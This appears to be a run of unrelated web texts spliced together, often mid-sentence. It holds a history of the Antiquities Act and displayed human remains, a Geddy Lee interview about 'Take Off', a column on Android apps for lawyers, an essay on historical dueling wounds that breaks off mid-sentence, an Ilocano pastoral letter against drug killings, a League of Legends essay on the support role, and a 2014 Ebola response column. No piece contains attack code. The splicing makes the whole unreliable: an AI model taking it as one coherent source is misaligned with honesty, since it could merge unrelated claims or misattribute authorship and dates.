The language of the bill points to the preservation of “antiquities,” but it was leveraged in practice by Theodore Roosevelt to protect sites of both historic and environmental significance. Between 1906 and 1908, historic sites including Montezuma Castle in Arizona, Chaco Canyon, and the Gila cliff dwellings in New Mexico were approved for protection under the act. Over the same span of time, Devil’s Tower in Wyoming, the Muir Woods in California, and the Grand Canyon in Arizona—all sites known for remarkable environmental significance—became national monuments under the same provisions. When the discovery of ancient or mysterious bodies resulted in their high-profile removal to museums for further study and display, the story had the unintended consequence of lifting environmental preservation efforts in the American West. The organic political connection between federal governance of ancient graves and environmental preservation efforts went almost completely unnoticed as these events took place.
After the passage of the law in 1906, Congress appropriated $3,000 for two years for the “excavation, repair, and preservation” of the Casa Grande Ruin in Arizona. Several other ancient monuments in the Southwest soon followed. The allotment for actual protection of historical sites and monuments was grossly inadequate, but it was a start; Congress gradually appropriated more funds to protect and preserve public lands of environmental and historical significance. In subsequent decades, the National Park Service built its own collection of materials—including human remains—discovered on federal lands. Museums, and archaeologists working on their behalf, now needed to apply for permits to collect archaeological material—including human remains—from federally owned sites. While the laws worked to protect sites from looting, they generally did not prohibit scientists and explorers who wished to deposit their discoveries at museums of natural history or anthropology.
Within a decade of the passage of the act, the U.S. Railroad Administration, the National Parks Service, and the Denver and Rio Grande Railroad began to jointly publish maps and pamphlets promoting tourism to the recently preserved archaeological sites of the American Southwest. A promotional pamphlet published by the National Park Service sometime after 1916 features an introductory quote from the secretary of the interior, Franklin Knight Lane. Lane assured potential visitors that “Uncle Sam asks you to be his guest” and that the parks were “the playgrounds of the people.” Following this was a more complete description of the sites around Mesa Verde National Park, including a series of photographs and maps of the park intended to orient visitors geographically. Pictures featured in the promotional pamphlet were taken by George L. Beam, a noted southwestern photographer. The last photograph in the collection featured a human skull and a series of long bones surrounded by a group of twelve impeccably preserved ancient clay jars. The caption notes the rarity of the jars but makes no mention of the human skeletons, despite their unmistakable prominence in the promotional photography.
Although the American Antiquities Act was vague with regard to its legal guidance for the treatment of human remains found on archaeological sites, it did represent a step in the direction of the professionalization of archaeology in the United States, with legislators establishing rules for antiquities as they were to be collected in the field. The American Antiquities Act not only had direct and obvious consequences for archaeology in North America; it also enacted a series of far less obvious consequences for general environmental and historical preservation in the American West. The popular presentation of rare and ancient skeletal remains—by scientists, government agencies, and the media—played a significant role in shaping ideas about attempts to collect bodies for the study of race and human history in this era.For all the success Rush have had in their 40-plus-year career, the highest-charting single featuring a member wasn't even one of theirs. In a new interview, Geddy Lee talked about his cameo vocal on "Take Off," the hit single by Bob and Doug McKenzie, the characters created by Rick Moranis and Dave Thomas during their days on SCTV.
"That was so fun," he told the A.V. Club. "I knew one of the guys from public school. Rick Moranis and I went to school together when we were really little. For about six years in a row, we were in the same class. And then when he was getting involved in that whole Bob and Doug thing, and it was really starting to become successful, they wanted to do this sort of pop song, and they naturally thought of me, which was nice."
"Take Off," embedded above, appeared on the McKenzie brothers' 1981 album, The Great White North. The song, which reached No. 16 on the Billboard Hot 100, features the characters trading barbs back-and-forth while Lee appears in the chorus. Its spontaneous nature, according to Lee, was part of the plan.
"I went down to the studio and we put that together in 15 minutes or something," he continued. "It was really just off-the-cuff. The producer said, 'Here’s the lyrics—have a go. The guys will be in a studio with you and you can just kibitz with them, and we’ll record everything.' And [Moranis and Dave Thomas] were in character, and I was singing with a toque on."
And since it's the holiday season, we'd be remiss if we didn't link to their version of the " The Twelve Days of Christmas " to get you into the proper mood.
Rush Albums Ranked Worst to BestThis week's Daily Record column is entitled "Droid Apps for Lawyers." A pdf of the article can be found here and my past Daily Record articles can be accessed here. *****
Droid Apps for Lawyers
An online reader asked me to write an article about apps for lawyers who use Android phones. I thought it was a great idea, especially since I’ve been predicting for the last few months that Android-based phones will eventually outsell iPhones—perhaps within the next year.
Many of the more popular iPhone apps that I’ve discussed in past articles are cross-platform apps and are also available on Droids, so I’ll focus on Droid-specific apps in this article. Since I don’t own a Droid, I relied on online resources and recommendations from my online network in curating this list.
Rather than listing in this article the lengthy URLs where apps can be purchased at the online Android Market, I created, for your reference, a list that includes links to these apps, which can be found here.
First up, DroidLaw is a free app that includes the full texts of the Federal Rules of Civil Procedure, Evidence, Appellate Procedure, Criminal Procedure, and Bankruptcy Procedure. Each set of rules is provided in a format that permits searching, bookmarking, copying, sharing and note taking.
Next up, Time Tracker ($3.99), an app that facilitates hourly billing. Using the app you can enter and track your time, edit the time reports, and export the data into a custom CSV report.
Another useful app is the Law Guide, a free app provided by Law.com that offers a number of features including a legal dictionary and access to legal forms.
Also worth considering is the Lawyer’s Calendar Buddy Pro ($2.69), which offers a number of useful features, including the ability to calculate a target date from a given start date, store key case events, and list events between two dates after excluding holidays.
In addition to the legal specific apps, there are a few general purpose apps worth mentioning that lawyers will likely find useful.
First, there’s the free Voice Recorder app for Android, which allows you to record, save and email audio files.
File manager apps are always useful on smart phones since they permit the organization of all of your files in once place on your phone, and the free Droid app aptly named “File Manager” allows you to do just that.
As lawyers, we spend a lot of time revising and editing documents, so apps that allow the viewing and annotation of PDFs are very useful tools. RepliGo reader is a great app for this purpose and costs just $4.99.
Next up, an app that was just released last week, Google Apps for Android. It’s a free native application that offers the useful feature of allowing photos of documents to be converted into fully editable documents.
Documents to Go 3.0 is another app to consider. There is a free version of this app available that facilitates the opening and editing of most file formats, including Microsoft Word, Excel and PowerPoint files.
Another useful app is PdaNet, a free app that allows you to tether your Android device to your laptop.
Finally if you’re looking for a great resource for lawyers who use Droids, look no further than the very useful blog “The Droid Lawyer” (http://thedroidlawyer.com/). I became aware of this blog after its author, attorney Jeffrey Taylor, was kind enough to respond to a request I made of my online followers for recommendations for Droid apps for lawyers.
Nicole Black is of counsel to Fiandach & Fiandach in Rochester. She co-authors the ABA book Social Media for Lawyers: the Next Frontier, co-authors Criminal Law in New York, a West-Thomson treatise, and is currently writing a book about cloud computing for lawyers that will be published by the ABA in early 2011. She is the founder of lawtechTalk.com and speaks regularly at conferences regarding the intersection of law and technology. She publishes four legal blogs and can be reached at [email protected] DUBIOUS QUICK KILL
In his treatise entitled Paradoxes of Defence, George Silver cautions that one should not expect the instant incapacitation of one's adversary from a rapier thrust. In fact, he claims to have known of a duel in which a combatant who was wounded some nine or ten times by thrusts through the body and the limbs, nevertheless managed to remain in the combat long enough to kill his adversary. Silver, of course, had no love for the rapier and the new style of swordplay which was soon to supersede the dying 'old school' of broadsword-play of which Silver and his colleagues were the last members. Many of his objections to rapier-play, including his proof that the cut is swifter than the thrust, do not withstand the test of logic, so one may be inclined to give him less credit than that to which he might otherwise be due. Numerous examples taken from other accounts, however, lend much support to Silver's concern for the danger posed by the wounded adversary.
During the reign of the French king, Henry the IV, two experienced duelists, Lagarde and Bazanez, fought a duel in which the later received an unspecified number of thrusts which "entered" the body. Despite having lost a good deal of blood, Bazanez nevertheless managed to wrestle his adversary to the ground, whereupon he proceeded to inflict some fourteen stab wounds with his dagger to an area extending from his opponent's neck to his navel. Lagarde meanwhile, entertained himself by biting off a portion of his adversary's chin. Using the pommel of his weapon, ended the affair by fracturing Bazanez's skull. History concludes, saying that neither combatant managed to inflict any "serious" injury, and that both recovered from the ordeal. One could hardly be criticized for believing this story to be anything more than a fiction.
While the previous tale seems amazing enough, hardly anyone can tell a story more incredible than that witnessed by R. Deerhurst. Two duelists, identified only as "His Grace, the Duke of B " and "Lord B ", after an exchange of exceptionally cordial letters of challenge met in the early morning to conduct their affair with pistols and swords. The combat began with a pistol ball inflicting a slight wound to the Duke's thumb. A second firing was exchanged in which Lord B was then wounded slightly. Each then immediately drew his sword and rushed upon the other with reckless ferocity. After an exchange of only one or two thrusts, the two became locked corps a corps. Struggling to free themselves by "repeated wrenches," they finally separated enough to allow the Duke to deliver a thrust which entered the inside of Lord B's sword arm and exited the outside of the arm at the elbow. Incredible as it may seem, his Lordship was still able to manage his sword and eventually drove home a thrust just above Duke B's right nipple. Transfixed on his Lordship's blade, the Duke nevertheless continued, attempting repeatedly to direct a thrust at his Lordship's throat. With his weapon fixed in His Grace's chest, Lord B now had no means of defense other than his free arm and hand. Attempting to grasp the hostile blade, he lost two fingers and mutilated the remainder. Finally, the mortally wounded Duke penetrated the bloody parries of Lord B's hand with a thrust just below Lord B's heart.
In the Hollywood swashbucklers this scene might well have have ended at this point, if not long before, but real life often seems to have a more incredible, and certainly in this case, more romantic outcome. Locked together at close quarters and unable to withdraw their weapons from each other's bodies for another thrust, the two stood embracing each other in a death grip. At this point the seconds, attempting to intercede, begged the pair to stop. Neither combatant would agree, however, and there they both remained, each transfixed upon the blade of the other until, due to extensive blood loss, his Lordship finally collapsed. In doing so, he withdrew his sword from the Duke's body and, staggering briefly, fell upon his weapon, breaking the blade in two. A moment later, the "victorious" Duke deliberately snapped his own blade and, with a sigh, fell dead upon the corpse of his adversary.
Numerous similar accounts begin to make a case the prudent swordsman cannot afford to ignore. It would appear that delivering a thrust or cut to an opponent, without falling prey to his own blade in turn, may not be so very simple and easy a thing. If one is skillful (or fortunate) enough to accomplish this feat, how long after inflicting a wound with a rapier, sabre, or smallsword can one's adversary continue to pose a threat? Does the type of wound have any meaningful effect on the length of time during which a stricken foe may continue to deliver a killing cut or thrust? To prevent the opponent from executing a counterattack, delivering a riposte or renewing an attack, where and how might one strike to take the adversary immediately out of the combat?
DYNAMICS OF STABBING AND INCISING WOUNDS
Death from stabbing and incising ("cutting" or "slashing") wounds is mainly brought about through five mechanisms: massive hemorrhage (exsanguination), air in the bloodstream (air embolism), suffocation (asphyxia), air in the chest cavity (pneumothorax), and infection. Of these, exsanguination is the most common, with hemorrhaging confined principally to the body cavity because stabbing wounds tend to close after the weapon is withdrawn. The amount of blood loss necessary to disable totally an individual varies widely and may range from as little as one-half to as much as three liters.
To reach a vital area it is first necessary to pass the blade through the body's external covering and whatever else lies between, and with regard to techniques in swordsmanship, an important consideration is the degree of force required to pass through intervening structures in order to reach vital structures with a sword-thrust or cut. In France, in 1892, this issue was raised during a trial conducted as a consequence of a duel fought between the Marquis de Mores and a Captain Meyer. The question arose on account of an accusation that the weapons used in the duel were "too heavy." While two physicians, Drs. Faure and Paquelin, testified that it did not require great strength to inflict a wound similar to that which took Captain Meyer's life, there was some difference of opinion expressed by a number of fencing masters called to testify on the matter of acceptable weights of weapons, |
. Ket makikaysakami kadagiti familiada iti inda panaglaladingit Daytoy ti nasaem a kasasaad nga imbunga ti problema ti droga. Kasta pay nga adda ti panagari ti buteng nangnangruna kadagiti lugar dagiti marigrigat ken napanglaw. Ta adu metten ti napapatay uray no awan met ti panakainaigda iti droga. Saan met ngarud a maitudo wenno makemmeg dagiti agpappapatay. Pagdan danaganmi pay ti kaawan ti agsao maipanggep kadagitoy a paspasamak. Nagbalinen nga awan metten ti pannakipagrikna (indifference). Manayen ti panagulimek (silence) iti kastoy a mapaspasamak Nagbalinen a normal dagitoy, a kas la anamongantayo payen dagitoy a pammapatay.
Makikaysakami kadagiti kakailiantayo a mapaadda koma ti panagbalbaliw ti gimong ken pagiliantayo. Ngem kasapulan ti kinapudno ken hustisia a mangiturong ti umiso a panagbalbaliw.
Adda ngamin pagtaktakderanmi a kangrunaan [basic) a pannursuro ket maibatay daytoy iti kata-taotayo, iti kina-Pilipinotayo ken iti kina-Kristianotayo. Dagitoy ngarud dagiti pannursuro:
Aggapu ken Apo Dios ti biag ti tunggal tao. Ti Dios ri mangted ti biag ket isunto laeng ti addaan bileg ken karbengan a mangala iti dayta a biag. Awan ngarud ti bileg ken karbengan ti siasinno wenno gobierno man a mangkettel dayta a biag. Ti gobierno ket maysa laeng nga adipen ti biag ta saanna a kukua ti bias. Maited iti tunggal tao ti gundaway nga agbalbaliw. saan met koma ngarud a maikkat dayta a gundaway, ta mainaig iti kalinteganna a kas tao. Daytoy ti igunam-gunam ni Apo Santo Papa Francisco L Kaleppas ti panangrambaktayo ti Tawen ti Kaasi [Year of Mercy) ken Nainlubongan nga Apostolado a Congreso ti Kaasi [World Apostolate Congress of Mercy]. Pinaunegda ti pammatitayo ken Apo fesucristo nga isu ti nangidaton ti bukodna a biag para kadagiti managbasol tapno maisalakanna ida ket maikkanda ti baro a masakbayan. Nadagsen a basol panangkettel ti bukod a biag ken panangpapatay iti sabali a tao. Dagitoy nga aramid ket parnuayenna ti kinadakes. Ti panagusar ti maiparit a droga ket ipakitana ti kaawan a panangipateg ti bukod a biag ket dangranna ti biag dagiti sabsabali. Agtitipontayo koma ngarud a mangsapul ti naan-anay a solusyon ti problema ti droga [maiparit nga agas) ken ti pannakatulong frehabilitationJ dagiti biktima [drug addicts). Ti linteg laeng ti addaan bileg a mabalin a makaitudo no siasinno ti nakabasol. Adda dagiti wagas a suroten ti gimong tapno magun-od ti panagbalbaliw, pannaka-usig ken pannakadusa dagiti managdakdakes ken agar-aramid iti krimen. Ket masapul a masurot ti nainkalintegan ken legal a proseso nga adda iti ramay ti linteg. Nadagsen a basol ti mangdangran iti sabali a tao. Dangran ti sabali babaen ti panaglako ti droga. Dangran ti sabali babaen ti panangpapatay – kenkuana malaksid iti benneg ti panangsalaknib ti bukod a bagi [self defense]. Saantayo a malinteg ti killo babaen ti panagaramid iti sabali a killo. Saanto nga agbalin ti dakes nga aramid babaen ti panagaramid ti maysa a dakes nga aramid uray no saowentayo a nainkalintegan. Ti nainkalintegan nga aramid laeng ti makabalin a mangbalbaliw ti dakes nga ararnid. Nasayaat a panggep ti panangpasardeng ti problema ti drog4 ngem kasapulan ti panangaramat kadagiti nainkalintegan a wagas. Ti kinakurapay (poverty) ken korapsyon (corruption) ti ramut ti panagra-ira ti problema ti droga ken kriminalidad iti gimong ken pagiliantayo. Agpundartayo koma ngarud kadagiti makaited panagdur-as ti biag panggedan a mangted ti tumutop a sueldo wenno bayad ti nagbannogan dagiti mangmangged. Mapapigsa koma ti panagtitimpuyog ken panaggiinnayattayo iti uneg ti farnilia ken gimongtayo. Ket saantayo koma nga ipalubos ti pannak-adadael ti urnos ken kappiatayo. Madusa koma dagiti pulis, hues ken addaan ti turay a mangparparigat kadatayo. Pumardas koma met ti pannaka-usig dagiti adda ti pagbaludan ta ngamin daytoy pay ti rnaysa kadagiti rason ti panagraira ti kinadakes (criminality) ket dagiti piman napapanglaw ti masansan a biktima ti kastoy a sistema. Aw-awaganmi ngarud dagiti nabutosan nga agtuturay, ti inda koma panagserbi ken panangtaminda saan a ti pagimbaganda laeng no di ket ti pagimbagan ti isu amin. Ti panagulimek (silence) ayunanna ti maysa a nakillo nga aramid wenno pasamak. Agbalintayo a paset ti problema ti droga no baybay-antayo dagiti drug addias ken drug pushers. Saantayo koma ngarud nga ipalubos lattan ti pannakapapatay dagitoy, ta adda met responsibilidad tayo kas gimong kadakuada.
Datayo a simbaan ket rebbengtayo met ti agbalikas contra iti kinadakes, uray iti baet dagiti adu met a nagkurkurangantayo. Agtimektayo uray no adda pannaka-irurumen, ta agkakabsattayo amin ket adda ti responsibilidad tayo iti tunggal maysa. Tulongantayo dagiti drug addicts tapno maagasanda ket maaddaanda ti baro a biag. Makipagrikna kami kadagiti naulila ken biktima ti droga [drug addicts]. Pakirdentayo dagiti kam-kameng ti familia.
Saantayo koma ngarud nga ipalubos ti panagari ti buteng ken panagulimek Ti balikas ti Apo (God’s Word) ti mangted pigsa ken kired ti pammatitayo. Kuna ti Nasantoan nga Ebanghelio, “Imbagak kadakayo tapno adda talnayo iti pannakikaduayo kaniak’ Parigatennakayta ti lubang. Ngem papigsaenya ti nakemyo! Naparmekkon ti lubong!” (Jn. 16:33)
Ket iti sabali pay a paset, naisurat daytoy, “Ngem kukuanakaya ti Dios, annakko, ket naperkyon dagiti sinan-profeta, agsipud ta nabilbileg ti Espiritu ngs adda kadakayo ngem ti espirifii nga adda kadagiti taga’ lubong.” [1Jn 4:4)
Ilagiptayo koma ti maika-sangagasut (100th) a tawen daydi panagparang (apparition) ni Apo Santa Maria, Nuestra Senora ti Fatima. Aw-awagannatayo nga agkararag ken agbabawi tapno ti lubong ken pagiliantayo a nasalukoban ti sipnget ti bisio ken patay maaddaan koma ti kappia.
Maria nga Inami, ibabaetnakam kadi!
+SOCRATES B. VILLEGAS
Arzobispo ti Lingayen-Dagupan
Presidente, CBCP
30 Enero 2017Because of the unpopularity of the support position (in North America, I cannot speak for any other region, but I would assume this holds true in other Western regions), the art of supporting is one of the least understood skills in Solo Queue. Because those who play support competitively are those who have risen through the ranks of Solo Queue, there is a shortage of true support players, and we often hear of people being forced to fill the support role. What’s more, at all levels of play there is a certain disrespect for, and underestimation of, supports and what they do, which ultimately gives the supports an edge.
In this Curse vs. TSM match, Saint dies to TSM because he, Voyboy, and Cop underestimate Xpecial’s Thresh, even though it is clear that he is baiting for a gank (he wouldn’t be trying to stay near the tower unless he had help coming).
Let’s look at exactly how supports are designed, and why they are the most influential position in a team game.
Item Independence
Let’s start by looking at someone who can be played as a support and in other positions. Janna, for example, can be played as an AP mid with tremendous split-push potential, late-game power, and team fighting prowess, but she is much more often seen as a support. Why? Every character has a certain level of what I call “Item Independence.” Item Independence is the degree to which a champion can do their job without having items. While Janna can absolutely have a large impact with a high AP build, she can also do a lot without items (She is one of the few characters in the game that has both high Item Independence and high Item Maximization). Her passive is 100% Item Independent, and her tornadoes, slows, and ultimate can be used for their sheer utility, which is not affected by items. Because there are a limited number of resources to be split among the team, some people have to make themselves useful without getting much/any resources. This is where Item Independence comes in, and viable supports are the most item-independent champions, because they are able to do their job without items.
When it comes to supports, Item Independence is most often measured by the amount of utility they provide (Utility is measured by decreased control of enemy champions, and conversely, increased control of allied champions). For example, Janna’s shield is very item-dependent. The AD bonus it gives is not affected by items, but it has relatively low base stats, with a 90% AP ratio, which means it takes items to maximize, and finds itself lacking without those items. However, because her other skills have a high degree of utility that is unaffected by itemization (as discussed above) she is able to thrive in the support role.
Let’s contrast Janna, with her extremely high Item Independence, with another typical support: Sona. Sona’s Q and W are her core abilities during the early game, and are very powerful then, but they offer no utility (except, arguably, her W powerchord). Despite the fact that these skills offer virtually no utility, they have very strong base statistics, and don’t need items to be effective. This is the second way that supports can be Item Independent. Leblanc, for example, makes for an excellent support in many aspects because she has both high base damages giving her Item Independence, as well as utility that is Item Independent. With Item Independence being the most important factor for a support, and Leblanc having so much of it, why is she not seen in this role more often? To answer that question, we must first understand the types of supports, and how they interact with each other.
Support Variations
There are 3 dimensions to each support champion: brawling, poking, and peeling. As a rule of thumb, brawling counters poking (imagine a Leona turning on a Sona that went in to poke), poking counters peeling (Sona can freely poke Janna or her ADC, targeting the one that is not shielded), and peeling counters brawling (Janna’s tornado can interrupt Leona’s gapcloser). In order for the support to be viable, they must be versatile, meaning they are able to do more than one of these things (brawl, poke, peel). Leona is a great fight starter/diver, but she can also use her CC to peel well, allowing for counterplay because she can adapt to different situations instead of being forced to act the same way every time, and making the summoner playing her think about what end he/she should be working towards. On the other hand, if a support does all of these things exceptionally, they are OP, which some people would argue is this case Thresh, but this is mostly untrue.
While Thresh can both peel and dive exceptionally, he cannot do them simultaneously. His chief peeling tool that causes so much anguish for those playing against him is his lantern re-position. If he is diving into the enemy team, that re-position will not be favorable as a peeling tool. The same idea holds true of his other peeling abilities, if he is using his abilities in a brawling manner, he will not be positioned to peel. The same holds true of his poking power. When he first came out and his auto-attack buildup was linked with his hook, he could poke with the hook/auto attack combination, going in for the kill if he wanted, or simply using the hook for harass, which gave him a bit too much power. By moving the buildup to his flay however, Thresh can’t use his hook for poking efficiently, unless he divert resources there from other areas. In other words, before he could poke strongly at no loss to his brawling potential, whereas now Thresh players have to choose between these options.
Okay, Thresh has to think carefully about how he should use his kit, but the extra versatility to do extremely well in all 3 aspects of supporting make him OP, right? Wrong. Let’s return to Leblanc, she has the damage, CC, and mobility to decimate enemies in brawls, poke enemies down substantially, and peel fairly well. That’s a pretty loaded package as well, so by the same logic (that Thresh excels in too many roles), support Leblanc is also OP. She has been played as a support in competitive play, so it’s not like support Leblanc hasn’t been thought of, so why isn’t she played much in the support role? To answer this question, we must understand not only what makes a support, and how they work individually, but how they function within the framework of a team.
Fulfilling Destiny
In a 1v1 scenario, utility is insignificant compared to damage output, which is why supports will lose almost any 1v1. However, utility multiplies with damage to create kill potential, so when you pair someone who is primarily focused on dealing damage (like an ADC) with someone who is primarily focused on providing utility (like a support), you get create very high kill potential. What’s more, utility multiplies well with the number of players involved from either team. Take a Sona ult for example, in a 1v1 it would almost be a waste to use it much of the time, a Taric stun would often be just as effective. However, in a 2v2 the potential it does on it’s own doubles (twice as much damage, twice as much stun) AND there is someone else who can follow up on it to attack the afflicted targets. In a 5v5, it’s one of the most impacting abilities there is, and can make or break a teamfight.
This example is representative of all utility, the more people there are involved, the more impacting it is. Even a single-target Taric stun is 5 times as useful in a 5v5 as it is in a 1v1, because 5 people can follow up on it instead of 1. Damage on the other hand, does not necessarily scale with the number of players in a fight, in fact, the typical primary damage dealer for a team, the ADC, overwhelmingly relies on single-target damage, with few exceptions. Because, generally speaking, utility is more impacting in big fights than damage, and supports are the biggest providers of utility, supports are the kings of 5v5s, and this is where they perform best.
This is where supports like Leblanc and Elise find themselves lacking. What they gain in damage for small engagements they lose in team fighting potential, where they are severely outclassed by traditional supports like Janna, Sona, and Taric. While Leblanc has sufficient CC to peel off a single target, she doesn’t contribute to the fight as a whole the way Taric would with his auras, Sona would with a 3+ champion Crescendo, or Janna would by getting 3 divers out of position while healing her team. What’s more, they are unable to acquire items needed to perform the roles they can in lane, limiting their ability to brawl in a team fight, so they are relegated to a single function, and it’s the function that they are least suited for. Support Elise and Leblanc can maximize their skirmishing power in full split push compositions, but these are rare for numerous reasons.
Final Thoughts
Because supports are designed to work with and through others, it’s extremely difficult to assess how well they are performing (and how well they do their job is usually only assessed when they do it poorly). What’s more, they don’t get as much reinforcement from doing things right because they don’t directly profit from their actions most of the time. Add to that the fact that they are always reliant on others to work with them, and it’s both a challenging and often unrewarding role. However, in contestable games, how utility skills are used will largely determine how fights turn out, which means supports have incredible power over how those fights play out. It’s not a glorious job, but somebody’s got to do it. On their own, supports are weak, but when coupled with others they become a force to be reckoned with, amplifying team power exponentially.
There is obviously much more to supporting, but this provides a foundation for everything that makes supports and influences how they function at every level.
As always, I encourage you to ask, add, argue, etc. in the comments.
Please support me by liking my Facebook page, subscribing to my YouTube, or following me on Twitter (@EnochWarnke), where I will post all content I create!Hollow Words and an Exponential Horror
At last, a sense of serious urgency imbues the world’s response to the Ebola crisis. On Sept. 18, by the largest vote in U.N. history, the Security Council adopted a unanimous resolution, co-sponsored by 130 countries, that declared Ebola a security threat to all nations.
On Sept. 20, the General Assembly gave Secretary-General Ban Ki-moon authority to command an international response to the virus out of a newly created United Nations Mission for Ebola Emergency Response (UNMEER), located in New York. And, on Sept. 25, U.S. President Barack Obama addressed the General Assembly, calling on all nations to step up to the challenge with unprecedented haste, unprecedented commitment, and unprecedented coordination.
"Stopping Ebola is a priority for the United States," Obama said in his address to the U.N. "We’ll do our part. We will continue to lead, but this has to be a priority for everybody else. We cannot do this alone. … To my fellow leaders from Liberia, Sierra Leone and Guinea, to the people of West Africa, to the heroic health workers who are on the ground as we speak, in some cases, putting themselves at risk — I want you to know that you are not alone. We’re working urgently to get you the help you need. And we will not stop, we will not relent until we halt this epidemic once and for all."
The tap is turned, and water is starting to flow. But the questions in this newly announced war on Ebola are now are twofold: Will personnel and resources reach West Africa rapidly enough to dam the viral flow, and will the nations of the world learn from this disaster to build institutions and long-term targets that prevent pandemics in the future?
According to Médecins Sans Frontières (Doctors Without Borders, or MSF) international president Joanne Liu, few of the promised personnel and resources have yet reached Liberia, Sierra Leone, and Guinea. Following Obama’s speech to the U.N., she, in graphic detail, told the American network NPR how her organization’s Ebola clinics were so overwhelmed that each morning staff were removing the dead from their hospital beds, taking a count, and then admitting that number of ailing from the queues of Ebola-sufferers lying outside hospital doors. Far from getting ahead of the virus, she insisted, the world’s response is still racing to simply catch up.
The World Health Organization (WHO) continues to release daily tolls of confirmed cases and deaths, but the WHO notes with each of its releases that the numbers are, at best, snapshots of what might have been the prevalence of Ebola a few days earlier. As WHO Director-General Margaret Chan told the Security Council, the numbers are "vast underestimates." Nevertheless, the most recent WHO forecast reckons that by Nov. 2, 2014, the three countries will cumulatively have 20,000 Ebola cases.
But I believe the cumulative total is close to, or has already eclipsed, 20,000.
In its official case count for reports received as of Sept. 24, the WHO says a total of 6,242 cases with 2,909 deaths have been officially counted. For weeks I have suggested that the reporting has been off by a factor of three, meaning far more Ebola-sufferers were never identified, as they ailed and died outside the overwhelmed health-care system on the ground in the three countries. Based on that reckoning, the current cumulative instances would be triple the official number of 6,242, making it 18,726 cases. I suggested on radio broadcasts that the epidemic case count could top 400,000 by Christmas if the global community failed to respond rapidly and effectively enough in September.
On Sept. 23, the U.S. Centers for Disease Control and Prevention (CDC) published its best estimates of the epidemic’s scale and its likely future course, based on the agency’s reckoning that reporting is off by a factor of 2.5. (That would put the cumulative current count at 15,605 cases.) If the global response fails to get to the ground with effect in a timely fashion, the CDC insisted, even a less severe caseload forecast would put the number of infected — both survivors and dead — at 500,000 by January 2015. In a worst-case calculation, the CDC forecasts 1.4 million cases in the same time period.
My reckoning of 400,000 by Christmas was more conservative, as it turns out, because I was imagining numbers for all three countries. In contrast, the CDC’s startling projections are for just two: Liberia and Sierra Leone. The worst-case estimation of 1.4 million would equal 14 percent of the two countries’ combined populations.
Those numbers may still be conservative, as there is growing evidence that Sierra Leone has grossly undercounted its epidemic and may actually have a larger crisis than neighboring Liberia. Quarantines now encompass the majority of Sierra Leone’s villages and much of its capital, Freetown.
Mortality estimates for this epidemic have run a wild empirical course. On the one hand, based on the 1976 original outbreak in Yambuku, Zaire, it is commonly reported in both scientific literature and popular media that Ebola mortality can be "as high as 90 percent," but that has never occurred in the post-1976 epidemics. On the other hand, many skeptics in both medical and popular press circles say that the death tolls in the current outbreak are well below that 90 percent — and that, in fact, the numbers are closer to 50 percent, indicating there may have been some early sensationalism in the descriptions of Ebola’s lethality in the current outbreak.
Actual reported deaths to date run at about 55 percent of reported cases. That would put the mortality rate below the prior 20 Ebola epidemics. Odd, given the 2014 epidemic is caused by the same viral strain as plagued Yambuku, Zaire, in the original 1976 epidemic. Odder still, the officially reported fatality rate in Liberia is about 50 percent, but next door in Sierra Leone government reports put the identical strain down to a mere 30 percent mortality rate.
But the numbers are deceptive as most of the dead are never counted — they are buried without government notice in private family locations with discreet ceremonies or no funerals at all. Moreover, in all of the past 20 Ebola outbreaks, fatality reporting has lagged far behind case counts. Researchers from the London School of Hygiene & Tropical Medicine recently scrutinized the current and past epidemics, concluding that the true fatality in today’s epidemic is 70 percent. The London team reached that conclusion based largely on computations of the time lags between deaths and their official reporting in the 20 prior Ebola outbreaks. Combined with the worst-case dire CDC forecast, this could mean that by February, Ebola will have slaughtered 980,000 Liberians and Sierra Leoneans — a number so apocalyptic as to defy our imaginations.
We have dueling narratives emerging in the Ebola fight. On one side, the forecast horrors and MSF’s reports from the ground present a dire, nightmarish story. On the other, mobilizations around the world of finances and resources suggest a world prepared to fight the virus into retreat.The first horrible narrative is accurate, assuming the second one fails to materialize in rapid, coordinated fashion. Tiny Cuba will send 461 doctors and nurses into the epidemic, but huge nations — Russia, China, India, Brazil, many of those in Europe — have made little more than symbolic gestures to date amounting to one mobile clinic, small sums of financing, and modest shipments of medical supplies.
"Partners and friends, based on understandable fear, have ostracized us; shipping and airline services have sanctioned us; and the world has taken some time to fully appreciate and adequately respond to the enormity of our tragedy," President Ellen Johnson Sirleaf told the U.N. in a speech delivered via video from her Liberian office. Despite U.S. military efforts to build an air bridge from Senegal to the beleaguered countries, the flow of supplies and personnel is still stifled by a nearly total shutdown of commercial flights and shipments to the region.
"Ebola is not only a disease of Sierra Leone and its neighbors; it is a disease of the world," Sierra Leone’s president, Ernest Bai Koroma, said in a speech delivered via teleconference to the U.N. General Assembly on Sept. 25. He continued:
Globalization, increasing urbanization, and denser networks of people rapidly moving between rural and urban areas and across borders is fuel for greater transmission of formerly isolated viral diseases. None of us recognized that this mix of trends could emerge with such force in West Africa. Our international partners were slow to recognize the threat for what it was, and when the recognition did come, it came with a flurry of fear that led to banning of travel to and from Sierra Leone and our region.
Underscoring the need for historic speed in the delivery of global assistance, Koroma warned further:
Ebola is a disease where even an hour too late leads to exponential transmissions. That is why faster response, of a kind similar to responses to natural disasters like hurricanes and earthquakes, is required. This calls for faster deployment of resources at the global, national, and health-center level. Any break in this chain of fast response would result in more deaths in our country and greater possibilities of the virus mutating and spreading into other countries and continents.
The competing narratives of the Ebola response — exponential growth in cases versus the arrival of a global rescue mission — can be charted graphically.
These data from the WHO, in orange, are estimates of publicly available data on weekly incidence of confirmed, probable, and suspected cases of Ebola; the original data are available in the New England Journal of Medicine. The adjusted caseload, in red, is an independent calculation based on these estimates and adjusting for the CDC’s reckoning of a 2.5-fold factor of underreporting.
To see a larger version of this chart, click here.
A second chart of personnel and supplies delivered to the countries and of financial commitments illustrates a pace for the response to date. If we look at these numbers side by side, it becomes starkly clear that the world’s response effort is crawling compared with the exponential growth in viral spread.
There is another false narrative lurking in the background of this horrible epidemic: that the world was prepared and that only mere tweaks in health systems would be adequate to prevent Ebola from spilling over into other nations.
I recently spoke with a group of journalists from all over the world invited by the U.S. State Department to meet with American officials. A frightened man from Djibouti asked whether health systems in the Horn of Africa would stand up better to Ebola than the very weak infrastructures of Liberia, Sierra Leone, and Guinea. A woman from Zimbabwe asked the same for her more prosperous region of southern Africa. I warned them that wherever syringes are reused due to scarcities or wherever doctors are so rare that each serves more than 10,000 patients per year, surgery is performed without proper hygienic protection for medical staff, nurses lack supplies of disinfectants and latex gloves, and clean water does not flow from hospital taps — in places like this, Ebola can thrive.
